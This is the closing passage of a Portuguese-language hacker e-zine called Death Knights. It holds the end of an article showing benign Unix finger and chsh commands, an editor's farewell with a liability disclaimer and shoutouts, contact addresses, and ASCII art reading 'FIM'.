Cheat Struck * Nome do usuario; Office []: My pc * Local de trabalho; Office Phone []: * Telefone de trabalho; Home Phone []: XXX-XXXX * Telefone de casa; Finger information changed */ # chsh struck /* Muda a shell */ [/bin/bash] /bin/csh OkAyz! Issu ae! To sem gaz pra escrever mais coisas aki. Ate mais gurizada!!! Cheat Struck cheat@struck.8m.com `'`'` `'`'`' `'`'`'`'`'`'`'`'`'` -=[ 14 ]=- .------------------. | Ultimas Palavras \________________________________________________________ `----------------------------------------------------------------------------' by Cacaio Se voce quiser mandar um e-mail dizendo o que achou do zine, dar su- gestoes, reclamar, elogiar, meter o pau, colocar alguma materia, conversar, ganhar dinheiro, jogar futebol.. ops.. aih nao... algo errado... mas mesmo assim, esteja a vontade. AVISO NOVAMENTE: Este grupo nao visa nenhum fim lucrativo. Mas se ganharmos alguma coisinha nao reclamaremos. HEH. Nos fazemos isto por diversao e nada mais. Qualquer uso das informacoes contidas aqui nao e de nossa responsabilidade. Se voce fizer algo descrito e se der mal, problema seu. Nos ensinamos, mas nao pedimos para usarem o conhecimento adquirido com este zine. Shoutz: [rde] [TinnyLinda] [Thaya] [KattyLinda] [brody] Ate o proximo numero! ______________________________Death_Knights_________________________________ ---------------------------------------------------------------------------- Criticas? Sugestoes? death@DeathKnights.com M]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FI M]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[ ]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FI M]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FI M]|[FIM]| |[FIM]| |[FIM]|[FIM] FIM [FIM]|[FI M]|[FIM]| |[FIM]| |[FIM]|[FIM FI FIM IM FIM]|[FI M]|[FIM]| |[FIM]|[FIM]|[FIM]| |[FIM]|[FIM FI I IM FIM]|[FI M]|[FIM]| |[FIM]|[FIM]|[FIM]| |[FIM]|[FIM FIM I FIM FIM]|[FI M]|[FIM]| |[FIM]|[FIM]| |[FIM]|[FIM FIM FIM FIM]|[FI M]|[FIM]| IM]|[FIM]|[FIM]| |[FIM]|[FIM FIM] [FIM FIM]|[FI M]|[FIM]| |[FIM]|[FIM]|[FIM]| |[FIM]|[FI [FIM]|[ ]|[FIM FIM]|[FI M]|[FIM]| |[FIM]|[FIM]|[FIM]| |[FIM]|[FI [FIM]|[ ]|[FIM] IM]|[FI M]|[FIM]| |[FIM]|[FIM]|[FIM]| |[FIM]|[FI [FIM]|[F M]|[FIM] IM]|[FI M]|[FIM]| |[FIM]|[FIM]|[FIM]| |[FIM]|[F [FIM]|[F M]|[FIM] M]|[FI M]|[FIM]| |[FIM]|[FIM]|[FIM]| |[FIM]|[F [FIM]|[FIM]|[FIM] M]|[FI M]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FI M]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FI